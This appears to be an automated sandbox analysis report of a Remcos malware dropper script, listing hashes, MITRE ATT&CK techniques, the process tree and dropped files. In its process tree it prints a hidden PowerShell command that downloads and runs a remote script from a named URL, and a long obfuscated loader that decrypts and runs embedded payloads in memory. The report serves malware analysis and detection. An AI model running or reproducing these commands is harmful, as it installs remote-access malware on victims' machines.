23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622

General

Target

ETL3M_remcos.vbs
Size

563KB
MD5

f7c17bfb4247e64e22dd52540a4b903b
SHA1

368ba4d02df294fa42efee5e4f330d5e7260d0c3
SHA256

23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622
SHA512

5f79d697ba68f6d285d56b8f38587774eb95162be0af3080a14ea9e277b0b33e3c20c8ccd74c6dddcc06eff3aed36b2c5bb096a8b92101c6f27d2603dfb136a4
SSDEEP

12288:eQO27ODRJ7gfddv13rIJQ9HmFboRCuo52CDm09LghGmQ3DnIE2YgdhhC:eN27a7mMJQl2Ac4CDdg8mQPGhhC

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2188	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid	Process
2964	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2188	powershell.exe
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.execmd.execmd.exe

description	pid	Process	procid_target
PID 1344 wrote to memory of 2188	1344	WScript.exe	28
PID 1344 wrote to memory of 2188	1344	WScript.exe	28
PID 1344 wrote to memory of 2188	1344	WScript.exe	28
PID 1344 wrote to memory of 668	1344	WScript.exe	32
PID 1344 wrote to memory of 668	1344	WScript.exe	32
PID 1344 wrote to memory of 668	1344	WScript.exe	32
PID 668 wrote to memory of 2796	668	cmd.exe	34
PID 668 wrote to memory of 2796	668	cmd.exe	34
PID 668 wrote to memory of 2796	668	cmd.exe	34
PID 2796 wrote to memory of 2892	2796	cmd.exe	36
PID 2796 wrote to memory of 2892	2796	cmd.exe	36
PID 2796 wrote to memory of 2892	2796	cmd.exe	36
PID 2796 wrote to memory of 2964	2796	cmd.exe	37
PID 2796 wrote to memory of 2964	2796	cmd.exe	37
PID 2796 wrote to memory of 2964	2796	cmd.exe	37
PID 2796 wrote to memory of 2964	2796	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ETL3M_remcos.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri 'https://raw.githubusercontent.com/latencyx0/EmptyBuilder/refs/heads/main/remcos.ps1' -UseBasicParsing)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2188
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\n1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\n1.bat';$QkEK='SplexkUitexkU'.Replace('exkU', ''),'CbUqOrbUqOeabUqOtebUqODecbUqOrbUqOybUqOpbUqOtorbUqO'.Replace('bUqO', ''),'MZgfwaiZgfwnMoZgfwdulZgfweZgfw'.Replace('Zgfw', ''),'FrbSRYomBbSRYasbSRYe6bSRY4StbSRYribSRYnbSRYgbSRY'.Replace('bSRY', ''),'DecaHWxomaHWxpraHWxesaHWxsaHWx'.Replace('aHWx', ''),'IMSwmnMSwmvoMSwmkMSwmeMSwm'.Replace('MSwm', ''),'CoHbycpyTHbycoHbyc'.Replace('Hbyc', ''),'GeBtWttCuBtWtrBtWtrBtWtenBtWttPrBtWtocBtWtessBtWt'.Replace('BtWt', ''),'EynVQntynVQrynVQyPoynVQintynVQ'.Replace('ynVQ', ''),'ChsWdlansWdlgesWdlEsWdlxsWdltesWdlnsWdlsisWdlosWdlnsWdl'.Replace('sWdl', ''),'LHcgboadHcgb'.Replace('Hcgb', ''),'RtuYueatuYudLtuYuituYunetuYustuYu'.Replace('tuYu', ''),'EleDFGgmeDFGgnDFGgtDFGgAtDFGg'.Replace('DFGg', ''),'ThSmVranhSmVsfhSmVormhSmVFihSmVnahSmVlBhSmVlohSmVckhSmV'.Replace('hSmV', '');powershell -w hidden;function zUhpG($Vgbyz){$emkHJ=[System.Security.Cryptography.Aes]::Create();$emkHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$emkHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$emkHJ.Key=[System.Convert]::($QkEK[3])('/Hfk3/0HindNj+4DXkevo5htFNrm49tWPnBdwypza2U=');$emkHJ.IV=[System.Convert]::($QkEK[3])('Tm3jafLgvfKY6mYPS/HLjQ==');$uFrFo=$emkHJ.($QkEK[1])();$ghdHz=$uFrFo.($QkEK[13])($Vgbyz,0,$Vgbyz.Length);$uFrFo.Dispose();$emkHJ.Dispose();$ghdHz;}function yGhYh($Vgbyz){$BiDCz=New-Object System.IO.MemoryStream(,$Vgbyz);$rDAyB=New-Object System.IO.MemoryStream;$gTfnb=New-Object System.IO.Compression.GZipStream($BiDCz,[IO.Compression.CompressionMode]::($QkEK[4]));$gTfnb.($QkEK[6])($rDAyB);$gTfnb.Dispose();$BiDCz.Dispose();$rDAyB.Dispose();$rDAyB.ToArray();}$GQdwM=[System.IO.File]::($QkEK[11])([Console]::Title);$asQpo=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 5).Substring(2))));$wqKmU=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 6).Substring(2))));[System.Reflection.Assembly]::($QkEK[10])([byte[]]$wqKmU).($QkEK[8]).($QkEK[5])($null,$null);[System.Reflection.Assembly]::($QkEK[10])([byte[]]$asQpo).($QkEK[8]).($QkEK[5])($null,$null); "
      4⤵
      PID:2892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\n1.bat

Filesize
562KB

MD5
d1d99208a499e870e1e0a34a2cbba829

SHA1
85f7090ce76bdae0a07154b27117ec5ac9e9f673

SHA256
d302c8c72b06785d8d4af94a118856907e3775becb17253ba62ccd3ddc669879

SHA512
badea3d061cdfd1c7929be03d0c4c66eb5cab3091740f935d58a601a56f5be6c372c3ae48bef6ef759581a5c4244885de1c5c02247391bfca7aee5c1c62d7497

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LSBTZU62H2JS0QL4K0Y9.temp

Filesize
7KB

MD5
5017493d4117071e40b0ebdcfc586969

SHA1
e239bbfdcda139cb1eedcbe2b71f791312614c72

SHA256
360c61699a4cda2c942a7b972208cb1c319e173718db5da976c82764c6b5b2d1

SHA512
bde52cef83a8fb040038f8f1f8d648113683fd2ea3464cdf074bcce8ab078454d502bb1e07d69feeb52cbfabf2cfed4924182a3c6767cc7a861918faaec6903f

Download Submit
memory/2188-4-0x000007FEF666E000-0x000007FEF666F000-memory.dmp

Filesize
4KB

Download
memory/2188-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2188-6-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download
memory/2188-7-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-9-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-10-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-11-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-12-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads